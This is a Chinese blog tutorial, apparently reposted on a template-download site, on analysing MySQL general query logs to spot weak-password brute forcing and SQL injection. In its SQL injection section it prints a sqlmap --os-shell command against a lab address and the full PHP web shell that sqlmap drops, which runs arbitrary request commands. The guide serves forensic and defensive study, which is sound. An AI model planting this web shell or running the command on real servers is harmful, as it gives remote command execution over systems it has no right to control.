最新公告
  • 欢迎您光临起源地模板网,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入钻石VIP
  • 【日志分析】MySQL日志分析

    正文概述 掘金(知了堂)   2021-07-10   402

    常见的数据库攻击包括弱口令、SQL注入、提升权限、窃取备份等。对数据库日志进行分析,可以发现攻击行为,进一步还原攻击场景及追溯攻击源。

    【日志分析】MySQL日志分析

    0x01 Mysql日志分析

    general query log能记录成功连接和每次执行的查询,我们可以将它用作安全布防的一部分,为故障分析或黑客事件后的调查提供依据。

    1、查看log配置信息
    show variables like '%general%';
    2、开启日志
    SET GLOBAL general_log = 'On';
    3、指定日志文件路径
    #SET GLOBAL general_log_file = '/var/lib/mysql/mysql.log';
    

    比如,当我访问 /test.php?id=1,此时我们得到这样的日志:

    190604 14:46:14       14 Connect    root@localhost on 
               14 Init DB    test
               14 Query    SELECT * FROM admin WHERE id = 1
               14 Quit  `
    

    我们按列来解析一下:

    第一列:Time,时间列,前面一个是日期,后面一个是小时和分钟,有一些不显示的原因是因为这些sql语句几乎是同时执行的,所以就不另外记录时间了。
    第二列:Id,就是show processlist出来的第一列的线程ID,对于长连接和一些比较耗时的sql语句,你可以精确找出究竟是那一条那一个线程在运行。
    第三列:Command,操作类型,比如Connect就是连接数据库,Query就是查询数据库(增删查改都显示为查询),可以特定过虑一些操作。
    第四列:Argument,详细信息,例如 Connect    root@localhost on 意思就是连接数据库,如此类推,接下面的连上数据库之后,做了什么查询的操作。
    

    0x02 登录成功/失败

    我们来做个简单的测试吧,使用我以前自己开发的弱口令工具来扫一下,字典设置比较小,2个用户,4个密码,共8组。

    【日志分析】MySQL日志分析

    MySQL中的log记录是这样子:

    Time                 Id        Command         Argument
    
    190601 22:03:20	   98 Connect	root@192.168.204.1 on 
    		   98 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		  103 Connect	mysql@192.168.204.1 on 
    		  103 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  104 Connect	mysql@192.168.204.1 on 
    		  104 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Connect	root@192.168.204.1 on 
    		  101 Connect	root@192.168.204.1 on 
    		  101 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		   99 Connect	root@192.168.204.1 on 
    		   99 Connect	Access denied for user 'root'@'192.168.204.1' (using password: YES)
    		  105 Connect	mysql@192.168.204.1 on 
    		  105 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Query	set autocommit=0
    		  102 Connect	mysql@192.168.204.1 on 
    		  102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    		  100 Quit	`
    

    你知道在这个口令猜解过程中,哪个是成功的吗?

    利用爆破工具,一个口令猜解成功的记录是这样子的:

    190601 22:03:20     100 Connect	root@192.168.204.1 on 
    	   100 Query	set autocommit=0
    	   100 Quit
    

    但是,如果你是用其他方式,可能会有一点点不一样的哦。

    Navicat for MySQL登录:

    190601 22:14:07	  106 Connect	root@192.168.204.1 on 
    		         106 Query	SET NAMES utf8
    		         106 Query	SHOW VARIABLES LIKE 'lower_case_%'
    		         106 Query	SHOW VARIABLES LIKE 'profiling'
    		         106 Query	SHOW DATABASES
    

    命令行登录:

    190601 22:17:25	  111 Connect	root@localhost on 
    		         111 Query	select @@version_comment limit 1
    190601 22:17:56	  111 Quit
    

    这个差别在于,不同的数据库连接工具,它在连接数据库初始化的过程中是不同的。通过这样的差别,我们可以简单判断出用户是通过连接数据库的方式。

    另外,不管你是爆破工具、Navicat for MySQL、还是命令行,登录失败都是一样的记录。

    登录失败的记录:

    102 Connect	mysql@192.168.204.1 on 
    102 Connect	Access denied for user 'mysql'@'192.168.204.1' (using password: YES)
    

    利用shell命令进行简单的分析:

    #有哪些IP在爆破?
    grep  "Access denied" mysql.log |cut -d "'" -f4|uniq -c|sort -nr
         27 192.168.204.1
    
    #爆破用户名字典都有哪些?
    grep  "Access denied" mysql.log |cut -d "'" -f2|uniq -c|sort -nr
         13 mysql
         12 root
          1 root
          1 mysql
    

    在日志分析中,特别需要注意一些敏感的操作行为,比如删表、备库,读写文件等。关键词:drop table、drop function、lock tables、unlock tables、load_file() 、into outfile、into dumpfile。

    敏感数据库表:SELECT * from mysql.user、SELECT * from mysql.func

    0x03 SQL注入入侵痕迹

    在利用SQL注入漏洞的过程中,我们会尝试利用sqlmap的--os-shell参数取得shell,如操作不慎,可能留下一些sqlmap创建的临时表和自定义函数。我们先来看一下sqlmap os-shell参数的用法以及原理:

    1、构造一个SQL注入点,开启Burp监听8080端口

    sqlmap.py  -u http://192.168.204.164/sql.php?id=1 --os-shell --proxy=http://127.0.0.1:8080`
    

    HTTP通讯过程如下:

    【日志分析】MySQL日志分析

    创建了一个临时文件tmpbwyov.php,通过访问这个木马执行系统命令,并返回到页面展示。

    tmpbwyov.php:

    <?php $c=$_REQUEST["cmd"];@set_time_limit(0);@ignore_user_abort(1);
    @ini_set('max_execution_time',0);$z=@ini_get('disable_functions');
    if(!empty($z)){$z=preg_replace('/[, ]+/',',',$z);
    $z=explode(',',$z);$z=array_map('trim',$z);}
    else{$z=array();}$c=$c." 2>&1\n";function f($n)
    {global $z;return is_callable($n)and!in_array($n,$z);}
    if(f('system')){ob_start();system($c);$w=ob_get_contents();ob_end_clean();}
    elseif(f('proc_open'))
    {$y=proc_open($c,array(array(pipe,r),array(pipe,w),array(pipe,w)),$t);$w=NULL;
    while(!feof($t[1])){$w.=fread($t[1],512);}@proc_close($y);}
    elseif(f('shell_exec'))
    {$w=shell_exec($c);}elseif(f('passthru'))
    {ob_start();passthru($c);$w=ob_get_contents();ob_end_clean();}
    elseif(f('popen')){$x=popen($c,r);$w=NULL;if(is_resource($x))
    {while(!feof($x)){$w.=fread($x,512);}}@pclose($x);}elseif(f('exec'))
    {$w=array();exec($c,$w);$w=join(chr(10),$w).chr(10);}else{$w=0;}
    print "<pre>".$w."</pre>";?>`
    

    创建了一个临时表sqlmapoutput,调用存储过程执行系统命令将数据写入临时表,然后取临时表中的数据展示到前端。

    通过查看网站目录中最近新建的可疑文件,可以判断是否发生过sql注入漏洞攻击事件。

    检查方法:

    1、检查网站目录下,是否存在一些木马文件:

    【日志分析】MySQL日志分析

    2、检查是否有UDF提权、MOF提权痕迹

    检查目录是否有异常文件

    mysql\lib\plugin

    c:/windows/system32/wbem/mof/

    检查函数是否删除

    select * from mysql.func

    3、结合web日志分析。

    好啦,日志分析系列文章已更新完毕,下周为大家分享《Linux实战篇》,欢迎关注+点赞~


    起源地下载网 » 【日志分析】MySQL日志分析

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    模板不会安装或需要功能定制以及二次开发?
    请QQ联系我们

    发表评论

    还没有评论,快来抢沙发吧!

    如需帝国cms功能定制以及二次开发请联系我们

    联系作者

    请选择支付方式

    ×
    迅虎支付宝
    迅虎微信
    支付宝当面付
    余额支付
    ×
    微信扫码支付 0 元